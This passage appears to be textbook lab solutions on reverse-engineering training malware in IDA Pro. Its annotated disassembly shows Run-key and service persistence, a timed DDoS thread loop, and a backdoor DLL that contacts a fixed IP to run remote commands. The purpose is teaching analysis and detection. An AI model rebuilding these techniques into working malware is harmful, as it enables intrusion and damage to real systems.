0x61 (the letter a in ASCII) from ECX. Therefore, once this instruction exe-
cutes, ECX will equal 0 when arg_0 is equal to a.

Next, a comparison to the number 4 at  checks to see if the command 
character (arg_0) is a, b, c, d, or e. Any other result will force the ja instruction 
to leave this section of code. Otherwise, we see the parsed command charac-
ter used as an index into the jump table at .

The EDX is multiplied by 4 at  because the jump table is a set of mem-
ory addresses referencing the different possible paths, and each memory 
address is 4 bytes in size. The jump table at  has five entries, as expected. A 
jump table like this is often used by a compiler when generating assembly for 
a switch statement, as described in Chapter 6.

Graphical View of Command Character Switch 

Now let’s look at the graphical view of this function, as shown in Figure 6-3L. 
We see six possible paths through the code, including five cases and the 
default. The “jump above 4” instruction takes us down the default path; 
otherwise, the jump table causes an execution path of the a through e 
branches. When you see a graph like the one in the figure (a single box 
going to many different boxes), you should suspect a switch statement. You 
can confirm that suspicion by looking at the code logic and jump table. 
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Figure 6-3L: The switch statement from function 0x401130 shown in graphical mode, 
labeled with the switch options

Switch Options

Next, we will examine each of the switch options (a through e) individually. 

 The a option calls CreateDirectory with the parameter C:\\Temp, to create 
the path if it doesn’t already exist. 

 The b option calls CopyFile, which takes two parameters: a source and 
a destination file. The destination is C:\\Temp\\cc.exe. The source is a 
parameter passed to this function, which, based on our earlier analysis, 
we know to be the program name (Argv[0]). Therefore, this option 
would copy Lab06-03.exe to C:\Temp\cc.exe. 

 The c option calls DeleteFile with the parameter C:\\Temp\\cc.exe, which 
deletes that file if it exists. 

 The d option sets a value in the Windows registry for persistence. Spe-
cifically, it sets Software\Microsoft\Windows\CurrentVersion\Run\Malware to 
C:\Temp\cc.exe, which makes the malware start at system boot (if it is first 
copied to the Temp location). 

 The e option sleeps for 100 seconds. 

 Finally, the default option prints “Error 3.2: Not a valid command 
provided.” 

Having analyzed this function fully, we can combine it with our analysis 
from Lab 6-2 to gain a strong understanding of how the overall program 
operates.

We now know that the program checks for an active Internet connection 
using the if construct. If there is no valid Internet connection, the program 
terminates. Otherwise, the program attempts to download a web page that 
contains an embedded HTML comment starting with <!--. The next charac-
ter is parsed from this comment and used in a switch statement to determine 
which action to take on the local system: delete a file, create a directory, set a 
registry run key, copy a file, or sleep for 100 seconds.
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Lab 6-4 Solutions

Short Answers
1. The function at 0x401000 is the check Internet connection method, 

0x401040 is the parse HTML method, 0x4012B5 is printf, and 0x401150 
is the switch statement.

2. A for loop has been added to the main method.

3. The function at 0x401040 now takes a parameter and calls sprintf with 
the format string Internet Explorer 7.50/pma%d. It builds a User-Agent for 
use during HTTP communication using the argument passed in.

4. This program will run for 1440 minutes (24 hours).

5. Yes, a new User-Agent is used. It takes the form Internet Explorer 7.50/
pma%d, where %d is the number of minutes the program has been running.

6. First, the program checks for an active Internet connection. If none is 
found, the program terminates. Otherwise, the program will use a 
unique User-Agent to attempt to download a web page containing a 
counter that tracks the number of minutes the program has been run-
ning. The web page downloaded contains an embedded HTML com-
ment starting with <!--. The next character is parsed from this comment 
and used in a switch statement to determine the action to take on the 
local system. These are hard-coded actions, including deleting a file, cre-
ating a directory, setting a registry run key, copying a file, and sleeping 
for 100 seconds. This program will run for 24 hours before terminating.

Detailed Analysis
We begin by performing basic static analysis on the binary. We see one new 
string of interest that was not in Lab 6-3, as follows:

Internet Explorer 7.50/pma%d

It looks like this program may use a dynamically generated User-Agent. 
Looking at the imports, we don’t see any Windows API functions that were 
not in Lab 6-3. When performing dynamic analysis, we also notice this User-
Agent change when we see Internet Explorer 7.50/pma0. 

Next, we perform more in-depth analysis with disassembly. We load the 
executable into IDA Pro and look at the main method, which is clearly struc-
turally different from main in Lab 6-3, although many of the same functions 
are called. We see the functions 0x401000 (check Internet connection method), 
0x401040 (parse HTML method), 0x4012B5 as printf, and 0x401150 (the switch 
statement). You should rename these functions as such in IDA Pro to make 
them easier to analyze. 

Looking at the main method in IDA Pro’s graphical view mode, we see an 
upward-facing arrow, which signifies looping. Listing 6-9L shows the loop 
structure. 
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00401248 loc_401248
00401248      mov [ebp+var_C], 0 
0040124F      jmp short loc_40125A
00401251 loc_401251:
00401251      mov eax, [ebp+var_C]
00401254      add eax, 1 
00401257      mov [ebp+var_C], eax
0040125A loc_40125A:
0040125A      cmp [ebp+var_C], 5A0h 
00401261      jge short loc_4012AF
00401263      mov ecx, [ebp+var_C] 
00401266      push ecx
00401267      call sub_401040
...
004012A2      push 60000
004012A7      call ds:Sleep
004012AD      jmp short loc_401251 

Listing 6-9L: The loop structure

The variable var_C is the local variable used for the loop counter. The 
counter is initialized to 0 at , jumps past the incrementing at , performs a 
check at , and loops back to the incrementor when it gets to . The pres-
ence of these four code sections tells us that we are looking at a for loop code 
construct. If the var_C (counter) is greater than or equal to 0x5A0 (1440), the 
loop will end. Otherwise, the code starting at  is executed. The code pushes 
var_C on the stack before calling 0x401040, and then sleeps for 1 minute before 
looping up at  and incrementing the counter by one. Therefore, this pro-
cess will repeat for 1440 minutes, which is equal to 24 hours.

In previous labs, 0x401040 did not take a parameter, so we need to investi-
gate this further. Listing 6-10L shows the start of 0x401040. 

00401049       mov eax, [ebp+arg_0]
0040104C       push eax 
0040104D       push offset aInt ; "Internet Explorer 7.50/pma%d"
00401052       lea ecx, [ebp+szAgent]
00401055       push ecx         ; char *
00401056       call _sprintf
0040105B       add esp, 0Ch
0040105E       push 0           ; dwFlags
00401060       push 0           ; lpszProxyBypass
00401062       push 0           ; lpszProxy
00401064       push 0           ; dwAccessType
00401066       lea edx, [ebp+szAgent] 
00401069       push edx         ; lpszAgent
0040106A       call ds:InternetOpenA

Listing 6-10L: The function at 0x401040
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Here, arg_0 is the only parameter, and main is the only method calling 
0x401040, so we conclude that arg_0 is always the counter (var_C) from the main 
method. Arg_0 is pushed on the stack at , along with a format string and a 
destination. We also see that sprintf is called, which creates the string and 
stores it in the destination buffer, the local variable labeled szAgent. And 
szAgent is passed to InternetOpenA at , which means that every time the coun-
ter increases, the User-Agent will change. This mechanism can be used by an 
attacker managing and monitoring a web server to track how long the mal-
ware has been running.

To summarize, the program checks for an active Internet connection 
using the if construct. If no connection is found, the program terminates. 
Otherwise, the program uses a unique User-Agent to attempt to download a 
web page containing a counter from a for loop construct. This counter con-
tains the number of minutes the program has been running. The web page 
contains an embedded HTML comment and is read into an array construct 
of characters and compared to <!--. The next character is parsed from this 
comment and used in a switch construct to determine what action to take 
on the local system. These are hard-coded actions, including deleting a file, 
creating a directory, setting a registry run key, copying a file, and sleeping 
for 100 seconds. This program will run for 1440 minutes (24 hours) before 
terminating.

Lab 7-1 Solutions

Short Answers
1. This program creates the service MalService to ensure that it runs every 

time the computer is started.

2. The program uses a mutex to ensure that only one copy of the program 
is running at a time.

3. We could search for a mutex named HGL345 and for the service MalService.

4. The malware uses the user-agent Internet Explorer 8.0 and communi-
cates with www.malwareanalysisbook.com.

5. This program waits until midnight on January 1, 2100, and then sends 
many requests to http://www.malwareanalysisbook.com/, presumably to con-
duct a distributed denial-of-service (DDoS) attack against the site.

6. This program will never finish. It waits on a timer until the year 2100, 
and then creates 20 threads, each of which runs in an infinite loop.

Detailed Analysis
The first step in analyzing this malware in depth is to open it with IDA Pro 
or a similar tool to examine the imported function list. Many functions in 
the list provide little information because they are commonly imported by 
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all Windows executables, but a few stand out. Specifically OpenSCManager and 
CreateService indicate that this malware probably creates a service to ensure 
that it will run when the computer is restarted.

The import of StartServiceCtrlDispatcherA hints that this file actually is a 
service. The calls to InternetOpen and InternetOpenUrl tell us that this program 
might connect to a URL to download content.

Next, we jump to the main function, which IDA Pro has identified and 
labeled _wmain at location 0x401000. A quick glance at the code shows that it’s 
short enough to analyze completely. The _wmain function calls only one other 
function, as shown in the following listing. If the code were longer, we would 
need to focus on only the most interesting function calls based on our review 
of the import table.

00401003  lea     eax, [esp+10h+ServiceStartTable]
00401007  mov     [esp+10h+ServiceStartTable.lpServiceName], offset aMalservice ; "MalService"
0040100F  push    eax             ; lpServiceStartTable
00401010  mov     [esp+14h+ServiceStartTable.lpServiceProc], offset sub_401040
00401018  mov     [esp+14h+var_8], 0
00401020  mov     [esp+14h+var_4], 0
00401028  call  ds:StartServiceCtrlDispatcherA
0040102E  push    0
00401030  push    0
00401032  call    sub_401040

This code begins with a call to StartServiceCtrlDispatcherA at . Accord-
ing to the MSDN documentation, this function is used by a program to 
implement a service, and it is usually called immediately. The function 
specifies the service control function that the service control manager will 
call. Here, it specifies sub_401040 at , which will be called after the call to 
StartServiceCtrlDispatcherA.

This first portion of code, including the call to StartServiceCtrlDispatcherA, 
is bookkeeping code that is necessary for programs that are run as services. It 
doesn’t tell us what the program is doing, but it does tell us that it expects to 
be run as a service.

Next, we examine the sub_401040 function, as shown in the following 
listing.

00401040  sub     esp, 400h
00401046  push    offset Name     ; "HGL345"
0040104B  push    0               ; bInheritHandle
0040104D  push    1F0001h         ; dwDesiredAccess
00401052  call  ds:OpenMutexA
00401058  test    eax, eax
0040105A  jz      short loc_401064
0040105C  push    0               ; uExitCode
0040105E  call    ds:ExitProcess

The first function call is to OpenMutexA at . The only thing of note is that 
this call is attempting to obtain a handle to the named mutex HGL345 at . If 
the call fails, the program exits.
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The next call is shown in the following listing.

00401064  push    esi
00401065  push    offset Name     ; "HGL345"
0040106A  push    0               ; bInitialOwner
0040106C  push    0               ; lpMutexAttributes
0040106E  call  ds:CreateMutexA

This code creates a mutex at  named HGL345 . The combination of 
these two mutex calls is designed to ensure that only one copy of this execut-
able is running on a system at any given time. If a copy was already running, 
then the first call to OpenMutexA would have been successful, and the program 
would have exited.

Next, the code calls OpenSCManager, which opens a handle to the service 
control manager so that the program can add or modify services. The next 
call is to the GetModuleFileName function, which returns the full pathname to 
the currently running executable or a loaded DLL. The first parameter is a 
handle to the module for which the name should be retrieved, or it is NULL 
to get the full pathname of the executable.

The full pathname is used by CreateServiceA to create a new service. The 
CreateServiceA call has many parameters, but the key ones are noted in the 
following listing.

0040109A  push    0               ; lpPassword
0040109C  push    0               ; lpServiceStartName
0040109E  push    0               ; lpDependencies
004010A0  push    0               ; lpdwTagId
004010A2  lea     ecx, [esp+414h+BinaryPathName]
004010A6  push    0               ; lpLoadOrderGroup
004010A8  push ecx             ; lpBinaryPathName
004010A9  push    0               ; dwErrorControl
004010AB  push  2               ; dwStartType
004010AD  push  10h             ; dwServiceType
004010AF  push    2               ; dwDesiredAccess
004010B1  push    offset DisplayName ; "Malservice"
004010B6  push    offset DisplayName ; "Malservice"
004010BB  push    esi             ; hSCManager
004010BC  call    ds:CreateServiceA

The key CreateServiceA parameters are BinaryPathName at , dwStartType at , 
and dwServiceType at . The binary path to the executable is the same as the 
path to the currently running executable retrieved by the GetModuleFileName 
call. The GetModuleFileName call is needed because the malware may not know 
its directory or filename. By dynamically obtaining this information, it can 
install the service no matter which executable is called or where it is stored.

The MSDN documentation lists valid entries for the dwServiceType and 
dwStartType parameters. For dwStartType, the possibilities are SERVICE_BOOT_START 
(0x00), SERVICE_SYSTEM_START (0x01), SERVICE_AUTO_START (0x02), SERVICE_DEMAND_START 
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(0x03), and SERVICE_DISABLED (0x04). The malware passed 0x02, which corre-
sponds to SERVICE_AUTO_START, indicating that the service runs automatically on 
system startup.

A lot of code manipulates time-related structures. IDA Pro has labeled a 
structure to be a SYSTEMTIME structure, which is one of several Windows time 
structures. According to MSDN, the SYSTEMTIME structure has separate fields 
for the second, minute, hour, day, and so on, for use in specifying time. In 
this case, all values are first set to 0, and then the value for the year is set to 
0x0834 at , or 2100 in decimal. This time represents midnight on January 1, 
2100. The program then calls SystemTimeToFileTime between time formats.

004010C2  xor     edx, edx
004010C4  lea     eax, [esp+404h+DueTime]
004010C8  mov     dword ptr [esp+404h+SystemTime.wYear], edx
004010CC  lea     ecx, [esp+404h+SystemTime]
004010D0  mov     dword ptr [esp+404h+SystemTime.wDayOfWeek], edx
004010D4  push    eax             ; lpFileTime
004010D5  mov     dword ptr [esp+408h+SystemTime.wHour], edx
004010D9  push    ecx             ; lpSystemTime
004010DA  mov     dword ptr [esp+40Ch+SystemTime.wSecond], edx
004010DE  mov  [esp+40Ch+SystemTime.wYear], 834h
004010E5  call    ds:SystemTimeToFileTime

Next, the program calls CreateWaitableTimer, SetWaitableTimer, and 
WaitForSingleObject. The most important argument for our purposes is 
the lpDueTime argument to SetWaitableTimer. The argument is the FileTime 
returned by SystemTimeToFileTime, as shown in the preceding listing. The 
code then uses WaitForSingleObject to wait until January 1, 2100.

The code then loops 20 times, as shown in the following listing.

00401121  mov  esi, 14h
00401126  push    0               ; lpThreadId
00401128  push    0               ; dwCreationFlags
0040112A  push    0               ; lpParameter
0040112C  push  offset StartAddress ; lpStartAddress
00401131  push    0               ; dwStackSize
00401133  push    0               ; lpThreadAttributes
00401135  call  edi ; CreateThread
00401137  dec  esi
00401138  jnz  short loc_401126

Here, ESI is set at  as the counter to 0x14 (20 in decimal). At the 
end of the loop, ESI is decremented at , and when it hits zero at , the 
loop exits. A call to CreateThread at  has several parameters, but only one 
is important to us. The lpStartAddress parameter at  tells us which func-
tion will be used as the start address for the thread—labeled StartAddress in 
this case.

We double-click StartAddress. We see that this function calls InternetOpen 
to initialize a connection to the Internet, and then calls InternetOpenUrlA from 
within a loop, which is shown in the following code.
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0040116D   push    0               ; dwContext
0040116F   push    80000000h       ; dwFlags
00401174   push    0               ; dwHeadersLength
00401176   push    0               ; lpszHeaders
00401178   push    offset szUrl    ; "http://www.malwareanalysisbook.com"
0040117D   push    esi             ; hInternet
0040117E call    edi ; InternetOpenUrlA
00401180 jmp     short loc_40116D

The jmp instruction at the end of the loop at  is an unconditional jump, 
which means that the code will never end; it will call InternetOpenUrlA  and 
download the home page of www.malwareanalysisbook.com  forever. And 
because CreateThread is called 20 times, 20 threads will call InternetOpenUrlA 
forever. Clearly, this malware is designed to launch a DDoS attack by install-
ing itself on many machines. If all of the infected machines connect to the 
server at the same time (January 1, 2100), they may overload the server and 
make it impossible to access the site.

In summary, this malware uses mutexes to ensure that only one copy is 
running at a time, creates a service to ensure that it runs again when the sys-
tem reboots, waits until January 1, 2100, and then continues to download 
www.malwareanalysisbook.com indefinitely.

Note that this malware doesn’t perform all of the functions required of 
a service. Normally, a service must implement functions to be stopped or 
paused, and it must change its status to let the user and OS know that the 
service has started. Because this malware does none of this, its service’s status 
will always display START_PENDING, and the service cannot be stopped while it is 
running. Malware often implements just enough functionality to achieve the 
author’s goals, without bothering to implement the entire functionality 
required by the specification.

NOTE If you ran this lab without a virtual machine, remove the malware by entering 
sc delete Malservice at the command line, and then deleting the file itself.

Lab 7-2 Solutions

Short Answers
1. This program does not achieve persistence. It runs once and then exits.

2. The program displays an advertisement web page to the user.

3. The program finishes executing after displaying the advertisement.

Detailed Analysis
We begin with some basic static analysis. While we don’t see any 
interesting ASCII strings, we do see one interesting Unicode string: 
http://www.malwareanalysisbook.com/ad.html. We check the imports and 
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exports of the program, and see only a few imports in addition to the 
standard imports, as follows:

SysFreeString
SysAllocString
VariantInit
CoCreateInstance
OleInitialize
OleUninitialize

All of these functions are COM-related. The CoCreateInstance and 
OleInitialize functions in particular are required in order to use COM 
functionality.

Next, we try dynamic analysis. When we run this program, it opens Inter-
net Explorer and displays an advertisement. There’s no evidence of the pro-
gram modifying the system or installing itself to execute when the computer 
is restarted.

Now we can analyze the code in IDA Pro. We navigate to the _main 
method and see the code shown in the following listing.

00401003  push    0               ; pvReserved
00401005  call  ds:OleInitialize
0040100B  test    eax, eax
0040100D  jl      short loc_401085
0040100F  lea     eax, [esp+24h+(1) ppv]
00401013  push    eax             ; ppv
00401014  push    offset riid     ; riid
00401019  push    4               ; dwClsContext
0040101B  push    0               ; pUnkOuter
0040101D  push    offset rclsid   ; rclsid
00401022  call  ds:CoCreateInstance
00401028  mov     eax, [esp+24h+ppv]

The first thing the malware does is initialize COM and obtain a pointer 
to a COM object with OleInitialize at  and CoCreateInstance at . The COM 
object returned will be stored on the stack in a variable that IDA Pro has 
labeled ppv, as shown at . In order to determine what COM functionality is 
being used, we need to examine the interface identifier (IID) and class iden-
tifier (CLSID).

Clicking rclsid and riid shows that they are 0002DF01-0000-0000-C000-
000000000046 and D30C1661-CDAF-11D0-8A3E-00C04FC9E26E, respectively. To deter-
mine which program will be called, check the registry for the CLSID, or 
search for the IID on the Internet for any documentation. In this case, these 
values are the same identifiers we used in “The Component Object Model” 
on page 154. The IID is for IWebBrowser2, and the CLSID is for Internet 
Explorer.

As shown in the following listing, the COM object returned by 
CoCreateInstance is accessed a few instructions later at .
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0040105C  mov     eax, [esp+28h+ppv]
00401060   push    ecx
00401061   lea     ecx, [esp+2Ch+pvarg]
00401065  mov     edx, [eax]
00401067   push    ecx
00401068   lea     ecx, [esp+30h+pvarg]
0040106C   push    ecx
0040106D   lea     ecx, [esp+34h+var_10]
00401071   push    ecx
00401072   push    esi
00401073   push    eax
00401074 call    dword ptr [edx+2Ch]

Following this instruction, EAX points to the location of the COM 
object. At , EAX is dereferenced and EDX points to the beginning of the 
COM object itself. At , the function at an offset of +0x2C from the object is 
called. As discussed in the chapter, the offset 0x2C for the IWebBrowser2 inter-
face is the Navigate function, and we can use the Structures window in IDA 
Pro to create a structure and label the offset. When Navigate is called, Inter-
net Explorer navigates to the web address http://www.malwareanalysisbook
.com/ad.html.

After the call to Navigate, there are a few cleanup functions and then the 
program ends. The program doesn’t install itself persistently, and it doesn’t 
modify the system. It simply displays a one-time advertisement.

When you encounter a simple program like this one, you should con-
sider it suspect. It may come packaged with additional malware, of which this 
is just one component.

Lab 7-3 Solutions

Short Answers
1. This program achieves persistence by writing a DLL to C:\Windows\

System32 and modifying every .exe file on the system to import that DLL.

2. The program is hard-coded to use the filename kerne132.dll, which makes 
a good signature. (Note the use of the number 1 instead of the letter l.) 
The program uses a hard-coded mutex named SADFHUHF.

3. The purpose of this program is to create a difficult-to-remove backdoor 
that connects to a remote host. The backdoor has two commands: one to 
execute a command and one to sleep.

4. This program is very hard to remove because it infects every .exe file 
on the system. It’s probably best in this case to restore from backups. 
If restoring from backups is particularly difficult, you could leave the 
malicious kerne132.dll file and modify it to remove the malicious content. 
Alternatively, you could copy kernel32.dll and name it kerne132.dll, or 
write a program to undo all changes to the PE files.
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Detailed Analysis
First, we’ll look at Lab07-03.exe using basic static analysis techniques. When 
we run Strings on the executable, we get the usual invalid strings and the 
imported functions. We also get days of the week, months of the year, and 
other strings that are part of the library code, not part of the malicious 
executable.

The following listing shows that the code has several interesting strings.

kerne132.dll
.exe
WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
C:\Windows\System32\Kernel32.dll
Lab07-03.dll
Kernel32.
C:\windows\system32\kerne132.dll
C:\*

The string kerne132.dll is clearly designed to look like kernel32.dll but 
replaces the l with a 1.

NOTE For the remainder of this section, the imposter kerne132.dll will be in bold to make it 
easier to differentiate from kernel32.dll.

The string Lab07-03.dll tells us that the .exe may access the DLL for this 
lab in some way. The string WARNING_THIS_WILL_DESTROY_YOUR_MACHINE is interest-
ing, but it’s actually an artifact of the modifications made to this malware for 
this book. Normal malware would not contain this string, and we’ll see more 
about its usage in the malware later.

Next, we examine the imports for Lab07-03.exe. The most interesting of 
these are as follows:

CreateFileA
CreateFileMappingA
MapViewOfFile
IsBadReadPtr
UnmapViewOfFile
CloseHandle
FindFirstFileA
FindClose
FindNextFileA
CopyFileA

The imports CreateFileA, CreateFileMappingA, and MapViewOfFile tell us 
that this program probably opens a file and maps it into memory. The 
FindFirstFileA and FindNextFileA combination tells us that the program 
probably searches directories and uses CopyFileA to copy files that it finds. 
The fact that the program does not import Lab07-03.dll (or use any of the 
functions from the DLL), LoadLibrary, or GetProcAddress suggests that it 
probably doesn’t load that DLL at runtime. This behavior is suspect and 
something we need to examine as part of our analysis.
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Next, we check the DLL for any interesting strings and imports and find 
a few strings worth investigating, as follows:

hello
127.26.152.13
sleep
exec

The most interesting string is an IP address, 127.26.152.13, that the mal-
ware might connect to. (You can set up your network-based sensors to look 
for activity to this address.) We also see the strings hello, sleep, and exec, 
which we should examine when we open the program in IDA Pro.

Next, we check the imports for Lab07-03.dll. We see that the imports 
from ws2_32.dll contain all the functions necessary to send and receive data 
over a network. Also of note is the CreateProcess function, which tells us that 
this program may create another process.

We also check the exports for Lab07-03.dll and see, oddly, that it has 
none. Without any exports, it can’t be imported by another program, though 
a program could still call LoadLibrary on a DLL with no exports. We’ll keep 
this in mind when we look more closely at the DLL.

We next try basic dynamic analysis. When we run the executable, it exits 
quickly without much noticeable activity. (We could try to run the DLL using 
rundll32, but because the DLL has no exports, that won’t work.) Unfortu-
nately, basic dynamic analysis doesn’t tell us much.

The next step is to perform analysis using IDA Pro. Whether you start 
with the DLL or EXE is a matter of preference. We’ll start with the DLL 
because it’s simpler than the EXE.

Analyzing the DLL

When looking at the DLL in IDA Pro, we see no exports, but we do see an 
entry point. We should navigate to DLLMain, which is automatically labeled by 
IDA Pro. Unlike the prior two labs, the DLL has a lot of code, and it would 
take a really long time to go through each instruction. Instead, we use a sim-
ple trick and look only at call instructions, ignoring all other instructions. 
This can help you get a quick view of the DLL’s functionality. Let’s see what 
the code would look like with only the relevant call instructions.

10001015  call    __alloca_probe
10001059  call    ds:OpenMutexA
1000106E  call    ds:CreateMutexA
1000107E  call    ds:WSAStartup
10001092  call    ds:socket
100010AF  call    ds:inet_addr
100010BB  call    ds:htons
100010CE  call    ds:connect
10001101  call    ds:send
10001113  call    ds:shutdown
10001132  call    ds:recv
1000114B  call    ebp ; strncmp
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10001159  call    ds:Sleep
10001170  call    ebp ; strncmp
100011AF  call    ebx ; CreateProcessA
100011C5  call    ds:Sleep

The first call is to the library function __alloca_probe to allocate stack 
on the space. All we can tell here is that this function uses a large stack. Fol-
lowing this are calls to OpenMutexA and CreateMutexA, which, like the malware 
in Lab 7-1, are here to ensure that only one copy of the malware is running 
at one time.

The other listed functions are needed to establish a connection with 
a remote socket, and to transmit and receive data. This function ends with 
calls to Sleep and CreateProcessA. At this point, we don’t know what data is sent 
or received, or which process is being created, but we can guess at what this 
DLL does. The best explanation for a function that sends and receives data 
and creates processes is that it is designed to receive commands from a 
remote machine.

Now that we know what this function is doing, we need to see what data is 
being sent and received. First, we check the destination address of the con-
nection. A few lines before the connect call, we see a call to inet_addr with the 
fixed IP address of 127.26.152.13. We also see that the port argument is 0x50, 
which is port 80, the port normally used for web traffic.

But what data is being communicated? The call to send is shown in the 
following listing.

100010F3  push    0               ; flags
100010F5  repne scasb
100010F7  not     ecx
100010F9  dec     ecx
100010FA  push    ecx             ; len
100010FB  push    offset buf ; "hello"
10001100  push    esi             ; s
10001101  call    ds:send

As you can see at , the buf argument stores the data to be sent over the 
network, and IDA Pro recognizes that the pointer to buf represents the string 
"hello" and labels it as such. This appears to be a greeting that the victim 
machine sends to let the server know that it’s ready for a command.

Next, we can see what data the program is expecting in response, as 
follows:

10001124  lea eax, [esp+120Ch+buf]
1000112B  push    1000h           ; len
10001130  push    eax             ; buf
10001131  push    esi             ; s
10001132  call  ds:recv

If we go to the call to recv , we see that the buffer on the stack has been 
labeled by IDA Pro at . Notice that the instruction that first accesses buf is 
an lea instruction at . The instruction doesn’t dereference the value stored 
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at that location, but instead only obtains a pointer to that location. The call 
to recv will store the incoming network traffic on the stack.

Now we must determine what the program is doing with the response. 
We see the buffer value checked a few lines later at , as shown in the follow-
ing listing.

1000113C lea     ecx, [esp+1208h+buf]
10001143   push    5               ; size_t
10001145   push    ecx             ; char *
10001146   push    offset aSleep   ; "sleep"
1000114B call    ebp ; strncmp
1000114D   add     esp, 0Ch
10001150 test    eax, eax
10001152   jnz     short loc_10001161
10001154   push    60000h          ; dwMilliseconds
10001159   call    ds:Sleep

The buffer accessed at  is the same as the one from the previous list-
ing, even though the offset from ESP is different (esp+1208+buf in one and 
esp+120C+buf in the other). The difference is due to the fact that the size of 
the stack has changed. IDA Pro labels both buf to make it easy to tell that 
they’re the same value.

This code calls strncmp at , and it checks to see if the first five characters 
are the string sleep. Then, immediately after the function call, it checks to 
see if the return value is 0 at ; if so, it calls the Sleep function to sleep for 
60 seconds. This tells us that if the remote server sends the command sleep, 
the program will call the Sleep function.

We see the buffer accessed again a few instructions later, as follows:

10001161   lea     edx, [esp+1208h+buf]
10001168   push    4               ; size_t
1000116A   push    edx             ; char *
1000116B   push    offset aExec    ; "exec"
10001170 call    ebp ; strncmp
10001172   add     esp, 0Ch
10001175   test    eax, eax
10001177 jnz     short loc_100011B6
10001179   mov     ecx, 11h
1000117E   lea     edi, [esp+1208h+StartupInfo]
10001182   rep stosd
10001184   lea     eax, [esp+1208h+ProcessInformation]
10001188   lea     ecx, [esp+1208h+StartupInfo]
1000118C   push    eax             ; lpProcessInformation
1000118D   push    ecx             ; lpStartupInfo
1000118E   push    0               ; lpCurrentDirectory
10001190   push    0               ; lpEnvironment
10001192   push    8000000h        ; dwCreationFlags
10001197   push    1               ; bInheritHandles
10001199   push    0               ; lpThreadAttributes
1000119B   lea     edx, [esp+1224h+CommandLine]
100011A2   push    0               ; lpProcessAttributes
100011A4   push    edx             ; lpCommandLine
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100011A5   push    0               ; lpApplicationName
100011A7   mov     [esp+1230h+StartupInfo.cb], 44h
100011AF call    ebx ; CreateProcessA

This time, we see that the code is checking to see if the buffer begins 
with exec. If so, the strncmp function will return 0, as shown at , and the code 
will fall through the jnz instruction at  and call the CreateProcessA function.

There are a lot of parameters to the CreateProcessA function shown at , 
but the most interesting is the CommandLine parameter at , which tells us the 
process that will be created. The listing suggests that the string in CommandLine 
was stored on the stack somewhere earlier in code, and we need to deter-
mine where. We search backward in our code to find CommandLine by placing 
the cursor on the CommandLine operator to highlight all instances within this 
function where the CommandLine value is accessed. Unfortunately, when you 
look through the whole function, you’ll see that the CommandLine pointer does 
not seem to be accessed or set elsewhere in the function.

At this point, we’re stuck. We see that CreateProcessA is called and that the 
program to be run is stored in CommandLine, but we don’t see CommandLine writ-
ten anywhere. CommandLine must be written prior to being used as a parameter 
to CreateProcessA, so we still have some work to do.

This is a tricky case where IDA Pro’s automatic labeling has actually 
made it more difficult to identify where CommandLine was written. The IDA Pro 
function information shown in the following listing tells us that CommandLine 
corresponds to the value of 0x0FFB at .

10001010 ; BOOL __stdcall DllMain(...)
10001010 _DllMain@12     proc near
10001010
10001010 hObject         = dword ptr -11F8h
10001010 name            = sockaddr ptr -11F4h
10001010 ProcessInformation=_PROCESS_INFORMATION ptr -11E4h
10001010 StartupInfo     = _STARTUPINFOA ptr -11D4h
10001010 WSAData         = WSAData ptr -1190h
10001010 buf             =  byte ptr -1000h
10001010 CommandLine     =  byte ptr -0FFBh
10001010 arg_4           = dword ptr  8

Remember our receive buffer started at 0x1000 , and that this value is 
set using the lea instruction, which tells us that the data itself is stored on the 
stack, and is not just a pointer to the data. Also, the fact that 0x0FFB is 5 bytes 
into our receive buffer tells us that the command to be executed is whatever 
is stored 5 bytes into our receive buffer. In this case, that means that the data 
received from the remote server would be exec FullPathOfProgramToRun. When 
the malware receives the exec FullPathOfProgramToRun command string from the 
remote server, it will call CreateProcessA with FullPathOfProgramToRun.

This brings us to the end of this function and DLL. We now know that 
this DLL implements backdoor functionality that allows the attacker to 
launch an executable on the system by sending a response to a packet on 
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port 80. There’s still the mystery of why this DLL has no exported functions 
and how this DLL is run, and the content of the DLL offers no explanations, 
so we’ll need to defer those questions until later.

Analyzing the EXE

Next, we navigate to the main method in the executable. One of the first 
things we see is a check for the command-line arguments, as shown in the 
following listing.

00401440   mov     eax, [esp+argc]
00401444   sub     esp, 44h
00401447 cmp     eax, 2
0040144A   push    ebx
0040144B   push    ebp
0040144C   push    esi
0040144D   push    edi
0040144E jnz     loc_401813
00401454   mov     eax, [esp+54h+argv]
00401458   mov     esi, offset aWarning_this_w ; "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"
0040145D mov     eax, [eax+4]
00401460                          ; CODE XREF: _main+42 j
00401460 mov     dl, [eax]
00401462   mov     bl, [esi]
00401464   mov     cl, dl
00401466   cmp     dl, bl
00401468   jnz     short loc_401488
0040146A   test    cl, cl
0040146C   jz      short loc_401484
0040146E   mov     dl, [eax+1]
00401471   mov     bl, [esi+1]
00401474   mov     cl, dl
00401476   cmp     dl, bl
00401478   jnz     short loc_401488
0040147A   add     eax, 2
0040147D   add     esi, 2
00401480   test    cl, cl
00401482 jnz     short loc_401460
00401484                          ; CODE XREF: _main+2C j
00401484   xor     eax, eax
00401486   jmp     short loc_40148D

The first comparison at  checks to see if the argument count is 2. If the 
argument count is not 2, the code jumps at  to another section of code, 
which prematurely exits. (This is what happened when we tried to perform 
dynamic analysis and the program ended quickly.) The program then moves 
argv[1] into EAX at  and the "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" string 
into ESI. The loop between  and  compares the values stored in ESI and 
EAX. If they are not the same, the program jumps to a location that will 
return from this function without doing anything else.
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We’ve learned that this program exits immediately unless the correct 
parameters are specified on the command line. The correct usage of this 
program is as follows:

Lab07-03.exe WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

NOTE Malware that has different behavior or requires command-line arguments is realistic, 
although this message is not. The arguments required by malware will normally be more 
cryptic. We chose to use this argument to ensure that you won’t accidentally run this on 
an important machine, because it can damage your computer and is difficult to remove.

At this point, we could go back and redo our basic dynamic analysis and 
enter the correct parameters to get the program to execute more of its code, 
but to keep the momentum going, we’ll continue with the static analysis. If 
we get stuck, we can perform basic dynamic analysis.

Continuing in IDA Pro, we see calls to CreateFile, CreateFileMapping, and 
MapViewOfFile where it opens kernel32.dll and our DLL Lab07-03.dll. Looking 
through this function, we see a lot of complicated reads and writes to mem-
ory. We could carefully analyze every instruction, but that would take too 
long, so let’s try looking at the function calls first.

We see two other function calls: sub_401040 and sub_401070. Each of these 
functions is relatively short, and neither calls any other function. The func-
tions are comparing memory, calculating offsets, or writing to memory. 
